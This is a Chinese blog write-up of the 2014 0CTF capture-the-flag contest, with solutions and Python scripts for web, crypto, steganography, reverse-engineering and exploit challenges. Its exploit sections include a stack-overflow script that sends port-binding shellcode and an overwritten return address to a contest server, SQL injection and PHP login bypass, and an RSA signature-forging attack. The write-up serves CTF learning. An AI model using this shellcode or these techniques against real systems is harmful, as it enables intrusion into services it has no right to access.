0×00 0CTF
『第一届0ops信息安全技术挑战赛，即0ops Capture The Flag，以下简称0CTF。 0CTF由上海交通大学网络信息中心和上海市信息安全行业协会指导，由上海交通大学信息网络安全协会承办，是2014信息安全技能竞赛校园赛首站。0CTF注册与参赛地址为http://ctf.0ops.net。 比赛时间为北京时间2014年3月1日至2日，每天7时至23时，共32小时。』
看官方微博，这个比赛本来是面向上交校内的，就是校外可以做题但是不发奖，后来也给校外发奖了，整体感觉还不错，好多大牛过来刷题了，没有挤进前六名去……不过当做BCTF的一次练手吧，平时都在实验室打酱油，做个比赛还是可以学到不少东西的。写个Blog记录一下过程，题目只做简单描述，具体可以看官方页面http://ctf.0ops.net，要登录才能看到题目，不知道现在还能否注册。
0×01 [Web]Spy
[题]简单的Web题目，总共四关，每一关都要输入数字，并保证输入的数字比服务器给的大。
1. text框最多输入3位数字，服务器随机返回4位数字，这个审查元素改一下maxlength属性就好了；
2. text框最多输入3位数字，服务器随机返回数字，这个改maxlength属性不然过，但是发现服务器偶尔会返回三位数字，这样的话一直提交999，总会过的；
3. 看谁出的数的倒数比较小谁就算赢！输入-1直接过了；
4. 每人给出一个数，然后比谁的数的EVIL值大。啥是EVIL值？就是该数字每位ASCII码的乘积呗，比如’123′这个数，三位数字的ASCII码分别是49, 50, 51乘起来是124950，这个就是123这个数的EVIL值。这个题最多输入6位，服务器的EVIL值很大，不过输入0xFFFF就过了；
0×02 [Crypto]Classic
[题]小丁丁发现自己置身于一个诡异的房间，面前只有一扇刻着奇怪字符的门。 他发现门边上还有一道密码锁，似乎要输入密码才能开门。。4esxcft5 rdcvgt 6tfc78uhg 098ukmnb
[解]这个比较诡异……通过键盘布局解密：0ops
0×03 [Misc]IPv4
[题]截止到2014.2.23，亚太互联网络信息中心分配给中国大陆的IPv4地址是多少个？
[解]下载文件http://ftp.apnic.net/stats/apnic/2014/delegated-apnic-20140223.gz进行统计分析。文件格式为：
apnic|CN|ipv4|1.2.2.0|256|20110331|assigned
等级机构|获得该IP段的国家/组织|资源类型|起始IP|IP段长度|分配日期|分配状态 |
我用Python解析的，读入每行数据split一下就好了，得到330393088。
0×04 [Exploit]Welcome
[题]在服务器202.120.7.6:32323上运行了一个程序，溢出拿KEY。
[解]IDA分析程序，B函数可以溢出：
char *__cdecl B()
{
char *result; // eax@1
char s; // [sp+1Ch] [bp-40Ch]@1
int v2; // [sp+20h] [bp-408h]@1
__int16 v3; // [sp+24h] [bp-404h]@1
char v4; // [sp+26h] [bp-402h]@1
int v5; // [sp+41Ch] [bp-Ch]@1
v5 = 0;
memset(&s, 0, 1016u);
puts("Welcome to 0ops CTF.");
fflush(stdout);
gets(&s);
result = &s;
*(_DWORD *)&s = *(_DWORD *)"HelloKitty";
v2 = *(_DWORD *)&aHellokitty[4]; // o
v3 = *(_WORD *)&aHellokitty[8]; // t
v4 = aHellokitty[10]; // \0
if ( v5 ) // 覆盖到v5即可
// 1016+4+2+1=1023 多覆盖一个byte即可
{
fd = (int)fopen("./flag.txt", "r");
__isoc99_fscanf(fd, "%s\n", &s);
puts(&s);
result = (char *)fflush(stdout);
}
return result;
}
|
开始忘了加\n，郁闷了好久……
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('202.120.7.6', 32323))
print sock.recv(1024)
sock.send('a'*1025+'\n') # 一定要有\n
print "send done"
print sock.recv(2048)
sock.close()
|
0×05 [Web]System
[题]小丁丁在无意中发现了一个对方的内部登陆系统，可惜他不知道用户名和密码，该怎么办呢？
[解]简单的SQL注入，用户名输入下面的代码即可：
0×06 [Crypto]Dict
[题]小丁丁一直潜伏在邪恶黑客组织的总部大楼附近。他知道邪恶黑客组织的内部密码Hash方式是咸的（Salted），但是 没有正确的通行口令他无法潜入。他每天都在仔细分析这栋大楼的办公室垃圾，想要从中找到一些线索。这一次，他捡到了某个员工的备忘小便签：
WORD is a common english word
len(WORD) = 4
md5(WORD + '0ops!^_^') = 'e79dc003a53edc551c5ef8364e97b2e2'
HASH = md5(WORD)
FLAG = 0ops{HASH} |
[解]四个字母组成的英语单词，这个直接枚举并比较MD5值就行了，很快就找到了单词join。
0×07 [Crypto]JohnCode
[题]小丁丁伪装成内部员工潜入了邪恶黑客组织，在群邮件中，他得知他们正在开发一套新的加密算法JohnCode。小丁丁看到了群共享的源代码，陷入了深深的沉思。 你能帮他破解这个囧呆马吗？
eaxRa8RO8gyXLs/5lZO2jUk32bGGN9DoA5hi1MBswPnWw28pk2f=
JohnCode加密算法源代码：
import hashlib
def johncode(msg, key):
token = hashlib.md5(key).digest()
res = ""
password = "0ops Capture The Flag"
for c in msg:
n = ord(c) ^ 0xde ^ 0xad ^ 0xbe ^ 0xef
for i in xrange(16) :
n ^= ord(password[i]) ^ ord(token[i])
res += chr(n)
token = hashlib.md5(chr(n)).digest()
return res.encode('base64').encode('rot13')
|
[解]这个可以直接逆推的，因为每一轮的token都是上一轮的字符的MD5值。不过因为不知道key，所以第一位没法解出来，但是题目说了FLAG的格式，所以第一位是0，解密的代码如下：
import hashlib
def getConstXor():
return 0xde ^ 0xad ^ 0xbe ^ 0xef
def getPwdXor():
password = "0ops Capture The Flag"
res = 0
for i in xrange(16):
res ^= ord(password[i])
return res
def getMd5Xor(val):
token = hashlib.md5(val).digest()
res = 0
for i in xrange(16):
res ^= ord(token[i])
return res
if __name__ == "__main__":
ctftext = "eaxRa8RO8gyXLs/5lZO2jUk32bGGN9DoA5hi1MBswPnWw28pk2f="
ciphertext = ctftext.decode("rot13").decode("base64")
ctlen = len(ciphertext)
constXor = getConstXor()
pwdXor = getPwdXor()
i = ctlen - 1
msg = ""
while i >= 1:
tokenXor = getMd5Xor(ciphertext[i-1])
msg = msg + chr(ord(ciphertext[i]) ^ tokenXor ^ pwdXor ^ constXor)
i = i - 1
# msg = }4660b46c5eb87b6e4b618a2804b40ee4{spo
msg = msg[::-1]
# msg = ops{4ee04b4082a816b4e6b78be5c64b0664}
# 答案是 0ops{4ee04b4082a816b4e6b78be5c64b0664}
|
0×08 [Reverse]Waltz
[题]APK逆向分析：http://ctf.0ops.net/attachment/download/EndlessWaltz.zip
[解]解压APK得到classes.dex，然后使用dex2jar得到jar文件，然后使用JD-GUI就可以看Java代码了，就是几个字符串替换和BASE64加解密。
0×09 [Misc]FakeUser
[题]小丁丁有隔天备份ctf.0ops.net数据库的习惯，就在比赛开始前一天，小丁丁突然发现备份似乎被人修改了，似乎额外增加了几个账户。可是小丁丁已经不记得有哪些账户了，这可怎么办？
注意：此题的FLAG是取 所有虚假账户的ID之和，求MD5，再拼上0ops{…} 即0ops{md5(sum of IDs of fake users)}
[解]将SQL文件导入数据库，提示换行符不一致！所有换行符为\r\n的都是假的账户。
0x0A [Exploit]Login
[题]溢出服务器上的一个程序，位于202.120.7.110:55632
[解]getpath函数中，gets可以溢出，最后调用了strdup，这个函数会分配一段空间保存输入的内容，把返回地址覆盖为call eax的地址，那么返回的时候就会执行shellcode了。
char *__cdecl getpath()
{
char s; // [sp+8h] [bp-25Ch]@1 [604]
void *v2; // [sp+260h] [bp-4h]@1
unsigned int v3; // [sp+268h] [bp+4h]@1
printf("Input Name Please: ");
fflush(stdout);
gets(&s); // 获取输入
v2 = (void *)v3; // v3 == 608
if ( (v3 & 0xB0000000) == 0xB0000000 )// 覆盖返回地址, 返回地址存入v3
{
printf("HEHE (%p)\n", v2);
_exit(1);
}
printf("Got Name %s\n", &s);
return strdup(&s); // 分配空间复制字符串, 返回值指向复制的字符串
}
|
call eax可以随便找一个：
.text:08048A4B call eax ; __CTOR_LIST__ |
不过我找了好多Shellcode都不管用……最后找了个开端口的，执行之后nc连接，cat flag.txt即可。
def testServer():
# http://www.shell-storm.org/shellcode/files/shellcode-370.php
# port : 5074
shellcode = ("\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff"+
"\xff\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04" +
"\x47\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xedDBMAFAEAIJMD" +
"FAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAFBFAIJOBLAGGMN" +
"IAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIAJDIJNBLADPMNIAEB" +
"IAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJOBLAALMNIA")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#sock.connect(('192.168.218.129', 55632))
sock.connect(('202.120.7.110', 55632))
print sock.recv(1024)
#sock.send('A'*608+'\xB0'*4+'\n')
sock.send(shellcode + '\x90'*(608-len(shellcode))+'\x4B\x8A\x04\x08'+'\n')
print "send done"
print sock.recv(2048)
print sock.recv(2048)
while True:
acmd = raw_input("CMD> ")
sock.send(acmd)
sock.send(acmd)
print sock.recv(2048)
time.sleep(0.1)
|
0x0B [Reverse]HackGate
[题]给定一个setup.exe，求KEY。
[解]setup.exe，是个安装包，要求输入密码才能安装。开始直接调试这个程序，发现根本断不下来，发现创建了子进程，于是调试子进程，发现用了MD5、SHA以及CRC32算法，后来差一下发现是个Inno Setup的安装包，然后我还找到了能够绕过密码直接提取文件的程序（当然找了好几个才发现一个叫做InnoExtractor的程序），于是直接把里面的EXE抠出来了，是g++编译的，我电脑装了还跑不起来，可能DLL版本不对。直接托IDA看字符串就找到KEY了……当然要稍微变换一下，key是0ops{EL_PSY_CONGROO}。其实找到的字符串是LE_PSY_CONGROO，我用Google搜的时候，提示我是EL_PSY_CONGROO。
El Psy Congroo在动画《命运石之门》播出之后才火起来的。
冈部伦太郎使用了很久用意义不明的话，能够自我暗示，使自己镇静下来。 |
不过有时候做这种题，没加密的话很容易偷懒的……（我这样会被鄙视吗？）
0x0C [Web]Signal
[题]绕过网站登陆。
[解]给提示了，这题和数据没关系，和PHP的一些检查方式有关系……审查元素，修改password字段名字（在name字段的值后面加上数组符[]），输入任意密码提交：
0x0D [Crypto]RSASign
[题]小丁丁继续在邪恶组织总部探索。他发现组织内部有一个专用的身份签名系统。只要能拿到最高权限的账户签名，他就可以得到最高权限啦！幸运的是，小丁丁又一次拿到了它的源码。
[解]考察数论相关的知识了。
同余形式：若a % N = A 且 b % N = B，那么有(ab) % N = (AB) % N；
同理对于RSA有：若a^d % N = A 且 b^d % N = B，那么有[(a^d)*(b^d)] % N = (AB) % N；
现在服务器能够返回给定任意数据a，返回a^d % N的值A，如果能拿到0ops（假设转化为数值之和为c）的返回值：c^d % N = C，即拿到C的值就可以拿到KEY了。
a^d % N = A
b^d % N = B
c^d % N = C |
分解c，假设c = a*b，那么有(A*B)≡C mod N，计算一下，c刚好能够分解，那么我们就可以从服务器拿回A和B了，如果知道了N，就可以拿到C了。不过对于这个题，拿到AB就已经够了，因为RSA签名验证就是(A*B)^e % N。不过N还是可以求出来的，大神提供的思路如下：
2^d % N = A
4^d % N = B 即 (2*2)^d % N = B
8^d % N = C 即 (2*2*2)^d % N = C
有M = GCD(A*A-B, A*A*A-C)
注意这里求出的M可能是kN，也就是是N的倍数，如果运气好就是N了，不然要多找几次。 |
下面是解题代码，会求出N。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
|
import time
import socket
import string
def int2str(n):
charset = string.digits + string.letters
p = len(charset) + 1
s = ""
while n:
s = s + charset[n%p-1]
n /= p
return s[::-1]
def str2int(s):
"""
map
'0' => 1
'1' => 2
...
'9' => 10
'a' => 11
...
'z' => 36
'A' => 37
...
'Z' => 62
"""
charset = string.digits + string.letters
p = len(charset) + 1
r = 0
for c in s :
r = r * p + charset.index(c) + 1
return r
def getFactor():
ops = str2int('0ops')
a = b = 0
for i in range(2, ops):
if ops % i == 0:
a, b = i, ops/i
print "%d * %d = %d" % (a, b, ops)
break
sa = int2str(a)
sb = int2str(b)
print "%d --> %s" % (a, sa)
print "%d --> %s" % (b, sb)
return sa, sb
def getAuthKey(s):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('202.120.7.5', 38241))
sock.recv(2048)
time.sleep(0.5)
sock.recv(2048)
sock.send('1\n') # register
sock.recv(2048)
time.sleep(0.1)
sock.send(s + '\n')
sock.recv(2048)
authKey = sock.recv(2048)
sock.close()
print "Username: %s" % s
print authKey
return authKey.strip()
def getGCD(a, b):
if a < b:
a, b = b, a
while b != 0:
tmp = a % b
a = b
b = tmp
return a
def getN():
userlist = [2, 4, 8]
keylist = []
for user in userlist:
keylist.append(int(getAuthKey(int2str(user))))
diff = []
diff.append(pow(keylist[0], 2) - keylist[1])
diff.append(pow(keylist[0], 3) - keylist[2])
return getGCD(diff[0], diff[1])
def getFlag(authKey):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('202.120.7.5', 38241))
sock.recv(2048)
time.sleep(0.5)
sock.recv(2048)
sock.send('2\n') # login
sock.recv(2048)
time.sleep(0.1)
sock.send('0ops\n') # username
sock.recv(2048)
time.sleep(0.1)
sock.send(str(authKey) + '\n') # authKey
print sock.recv(2048)
print sock.recv(2048)
sock.close()
if __name__ == "__main__":
sa, sb = getFactor()
ka = getAuthKey(sa)
kb = getAuthKey(sb)
kab = int(ka) * int(kb)
print "authKey[%s] * authKey[%s] = \n%d\n" % (sa, sb, kab)
n = getN()
print "N = \n%d\n" % n
flagKey = kab % n
print "authKey[0ops] = \n%d\n" % flagKey
getFlag(flagKey)
raw_input("")
"""
163 * 2153 = 350939
163 --> 1A
2153 --> xa
Username: 1A
21533328170418378084667829333241475137237189840136413341659043482256097510873406
80778085936300557220305925866245746162556818225595325428891118543277776000224693
94153804439920506389342914152518686076142925020261268165134548156640326678913058
32183740222011549816792593422992831392821041521696985409510603614521305240365730
69993107868111616188102944903092890088304093759066757333321808861343015436285431
83423748039157813181828728529338570079483125070881458603012233228629889625998610
77837188029428966569684473488137929071603810228867022108243630344706359935318974
659363579802989602917857042437294261061356335491933174051
Username: xa
25488744768722406399022993210073505421411878358623824552700157019662731668788913
29696762464701716291111290751757383920248775850436486970351641724147165259120289
88289621607449227239688925130507701532735104032594188602562364841462980159493017
96811103500139479056818978083991583831585928689088971640016014467405404108823622
37555222332241091523009935298355178015132729923435885189369662045864007701562485
91622365205822004617452169129111881126526480558419450732992640082382159767752794
22962647696103667805075981389049729228576300327608699296783543259431738187799821
731862053896502779740294350970620551593589183858097468202
authKey[1A] * authKey[xa] =
54885750575693426083919531510934514350135708923403345930121911623724478234602268
27979542454055898817768822046755196649628234154462632065635709315217301905443578
15053213360938990523525651515977264898624869669693382733171731889768054632085639
40081552196281561143501153944763925013800347447018887135453722798415734016750151
92184836862276059791184086691283031159039851810771777962934768576429259231364133
41834110889564427268927559492552852974023169921476230425928104005016422929418070
39593591140411537137125967387946130071547972790632118133896625499729357543308816
65448091364193997682005248870200041504023381016446066909023878970529319079800086
13808551432638083920706237377055192075931504657100138782762634126828570096626000
21740987778485284470130972040488510155441233144261202690270073340308044559909236
88022604483095012235643404016986395825071264788489401081410846239399008256383444
27783542166239774991615310457893021925122329284187579913245305211704054543963112
46617591745725112264275325834238989453825259130717300416524844869106838890002150
13539418987344763704144532367013919237191922725980132605207837102132907895624432
66607899392071332859380943060605852067363066333823230424467584589398587263860042
119105342842310261180736904026302
Username: 1
22162592382709279239675078287209487170257682361511277398481832147372823215451206
29012234993254397116315506291018552849006256580425529369872729697550238374739494
48772829679652923225545207924144536536130669962018422146411134841875616397357134
29568880006878286534623642415790091356045364443763159224635646171861388242085726
97265299606708141770914574335615303479761746656913880214780405285865156974703663
68707812547485603274962190456901154898407556530407582248442240935713344954001743
70460314565217400045829838047916742777893191557151837606275064117735853844147609
312638348348883587842186583304381307199776987787088683213
Username: 3
18555505824880771273727540829711672221676629831658469028977988584440554873780436
45137773386560133644983364637659004337061718305660923166817411197766375793405718
05103029732367220924127309328528302634299493223853139595279355089050203206293974
86840898999244645854695909576241621143659347688557261209638462191011865971149242
79464762884238981766433085461726300411125242999959696850859594687622334871918471
71670809991958427666213019092095767990137873589365923128683417543694089792152878
77150847918268764278582616037769773086098337088950812318405615762304350575303071
079091404763125577831379208432103400658648842256675379806
Username: 7
52482204868424933403557570627260487449813958439686870244092838847494332548446073
45602512803692746763888792435320054869228129209697946733034825577367868675415020
40650190376660294128759355299952166682183127812142558455298025750832300811952889
86463990447494116385230643606657822311838848399664307028247794759330657294253921
87875591907107721872039909705488324146809722005199670346002505042495876768793064
69944991228386536399164224058905493762703168633149946839305007134191114427394941
72485062533747457130652067041438480378568459966504351977884309118621219929633189
06584017724632422879044239426508028014318144849268674008
N =
29610211050329808378232545552699749436594480437122054986865680099884890513872850
75525661987282310273914255054387679145058167010821716155270450004228110100462580
61209364757602907910617119263438600005472312713489338816033264709490529535130190
96378961760344107740968951046321793825376720940083912117401942507142416424502224
52716016867059810410289101671971086362182186474576259372154998140093546592864747
64210175590855355005120986623171403794224031596995562230659609347027503141992475
47770245690981730429515128740909571870394089884652117078715034645606613009469198
724251507254450039197449345504428016016268512178144465269
authKey[0ops] =
13110205844472582078508561586009616010511440950399464874188864349291652777783298
99881232052318532954986646824467063842227828770517196037207171044544695490940912
12423450401458576493793741404979648318705923086553715197114747437125272098839105
53827198360050895608734309931663997144339422020764921090587199992980596843329551
10835974076198749267323036625564956690953923683306767300917098380913656898698173
63407386614802670044895487509786218738456054495098285103711261589674380370321433
35083314522191405782002192706825562995912444112388730499459139167637817864843651
545728753985843329656352477751861819954384211132836924156
You win!
Flag is: 0ops{03e2bca28698ca3b2b8b50c594ae4e89}
"""
|
0x0E [Misc]Game
[题]小丁丁找到邪恶组织的人想要和他们在安全技术上一较高下，然而却被告知你太嫩了，我们先不玩别的先来盘游戏吧，如果赢了我，再来谈技术的问题也不迟啊哈哈哈哈哈。
[解]这个是个取石子游戏，大家应该见过，OJ上面也会常见，虽然我连这个也不会，不过搜一下还是有很多解决方案的。服务器会返回N堆石子给你，你要最后面拿光所有的石子，你就赢了这一个round。
也就是Nimm Game，有k堆石子，两个人轮流从某一堆取任意多的物品，规定每次至少取一个，多者不限。取走最后石子的人获胜。
引入一个概念，平衡状态，又称作奇异局势。当面对这个局势时则会失败。任意非平衡态经过一次操作可以变为平衡态。
每个玩家都会努力使自己抓完石子之后的局势为平衡，将这个平衡局势留给对方。因此，玩家A能够在初始为非平衡的
游戏中取胜，玩家B能够在初始为平衡的游戏中取胜。
最后一个奇异局势是(0,0...,0)。另一个奇异局势是(n,n,0...0)，只要对手总是和我拿走一样多的物品，最后会面对
(0,0...,0)。
奇异局势的判定：
对于一个普通的局势，如何判断其是不是奇异局势？对于一个局势(s1,s2,...sk)，对所有石子个数做位的异或运
算，s1^s2^s3^...^sk，如果结果为0，那么局势(s1,s2,...sk)就是奇异局势（平衡），否则就不是（非平衡）。
从二进制位的角度上说，奇异局势时，每一个bit位上1的个数都是偶数。
玩家的策略：
就是把面对的非奇异局势变为奇异局势留给对方。也就是从某一堆取出若干石子之后，使得每一个bit位上1的个数
都变为偶数，这样的取法一般不只有一种。可以将其中一堆的石子数变为其他堆石子数的位异或运算的值（如果这个值
比原来的石子数小的话）。
参见：http://blog.csdn.net/ojshilu/article/details/16812173 |
照着这个思路写了个脚本，但是比较蛋疼的是服务器每次只从一堆石头中取出一个，这样我也只能取出1个，而这样下来就严重拖慢了速度，而服务器最初设置了100个round，我跑了1个多小时才跑完50个round，然后管理员认为100轮太多了，就把服务器端了调整为50轮，于是我又跑了1个小时左右，中午吃完饭回来就返回了key了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import sys
def parseInput(s):
idx = s.find("I pick") # 过滤无关数据
if idx != -1:
s = s[idx:]
idx = s.find("There are totally") # 过滤无关数据
if idx != -1:
s = s[idx:]
lines = s.split('\n')
res = []
for l in lines:
l = l.strip()
data = l.split(': ')
if len(data) == 2 and data[0].find("Pile") != -1:
res.append(int(data[1]))
return res
def pickStone(s):
l = len(s)
maxCount = 0
idx = 0
for i in range(0, l):
tmp = 0
for j in range(0, l):
if j == i:
continue
tmp = tmp ^ s[j]
if tmp < s[i]:
if maxCount < s[i]-tmp:
maxCount = s[i]-tmp
idx = i
return (idx, maxCount)
if __name__ == "__main__":
#redirectOutput()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('202.120.7.108', 17733))
print sock.recv(4096)
while True:
data = sock.recv(4096)
print data
arr = parseInput(data)
print arr
idx, count = pickStone(arr)
sock.send("%d\n" % idx)
print "%d" % idx
data = sock.recv(4096)
print data
sock.send("%d\n" % count)
print "%d" % count
print sock.recv(4096)
|
0x0F [Misc]Girl
[题]图片隐写术
[解]图片无限放大之后会发现右上角有四个小点，这里面隐藏了信息，当然这里全是一堆红色，看起来相当的晃眼！！这里面的像素点存在色差，我们需要对其进行二值化处理。下图是截取的一个图，我给四个小点画了个圈，只是为了方便各位看官辨别。
大家可以把原图下载下来放大之后，在信息隐藏区域取色就能看到色差（比如QQ截图工具就有取色功能）
正常的背景色RGB是(235,1,2)，四个边界点的RGB是(225,0,0)，鼠标在区域内移动的时候，有两个RGB值，分别是(235,1,2), (236,1,2)，看到了没，(235,1,2)就是背景色的RGB值。
刚开始以为这个是二维码，就把背景色设置为白色(255,255,255)，把四个边界点的颜色设置为蓝色(0,0,255)，把二维码中的颜色设置为黑色(0,0,0)，以为差不多就OK了，谁知道这货不是二维码，是二进制信息。
隐藏信息的区域我画了个圈，从图中可以看出，如果白色代表0，黑色代表1，我们转成二进制得到0×30和0x6F，这就是0和o，也就是Flag的前缀0ops了，完善一下代码就有key了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
|
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import string
from PIL import Image
"""
# It's not QR code :)
def showQRCode(fpath):
bmp = Image.open(fpath)
pix = bmp.load()
w, h = bmp.size
for x in xrange(0, w):
for y in xrange(0, h):
if pix[x, y] == (235,1,2):
pix[x, y] = (255,255,255)
elif pix[x, y] == (225,0,0):
pix[x, y] = (0, 0, 255)
elif pix[x, y] == (236, 1, 2):
pix[x, y] = (0, 0, 0)
else:
pix[x, y] = (255, 255, 255)
bmp.save(fpath)
"""
def getFlagHex(fpath):
bmp = Image.open(fpath)
pix = bmp.load()
w, h = bmp.size
c = []
for y in xrange(0, h):
for x in xrange(0, w):
if pix[x, y] == (225,0,0):
c.append((x, y))
flag = ""
for y in xrange(c[0][1]+1, c[2][1]):
x = c[0][0] + 1
for i in xrange(0, 4):
ch = 0
for j in xrange(0, 4):
tmp = 0
if pix[x+i*4+j, y] == (236, 1, 2):
tmp = 1
ch = (ch<<1) + tmp
flag = flag + ("%x" % ch)
bmp.save(fpath)
return flag
def getFlag(flagHex):
flag = ""
tmp = 0
for i in xrange(0, len(flagHex)):
val = string.hexdigits.index(flagHex[i])
if i&1:
flag = flag + chr(tmp*16 + val)
tmp = 0
else:
tmp = val
return flag
if __name__ == "__main__":
flagHex = getFlagHex("girl.bmp")
flag = getFlag(flagHex)
raw_input(flag)
|
输出flag为：0ops{Never_giving_up!Fighting!!}
0×10 [Exploit]WebServer
[题]在服务器202.120.7.111:44774上运行了一个程序，提供奇怪的web服务，能处理你的HTTP请求。看看这个web服务里有没有什么非同寻常的秘密？注意：没有NX以及aslr。提供libc.so.6文件下载。
[解]这个是GOT表覆盖与printf格式化写任意内存漏洞，exploit-exercises上面的format最后一题和这个类似，不过只怪我当时候没有认真做题，这个题就没交了……囧rz，这个题有空再补上吧。
0×11 Rank List
这次的马甲是“栈溢出了”，排第八，被前排的大神挤下来了。我平时一般用另一个马甲，叫Wins0n
本文地址: 程序人生 >> 0ops CTF/0CTF writeup
作者：代码疯子（Wins0n） 本站内容如无声明均属原创，转载请保留作者信息与原文链接，谢谢！
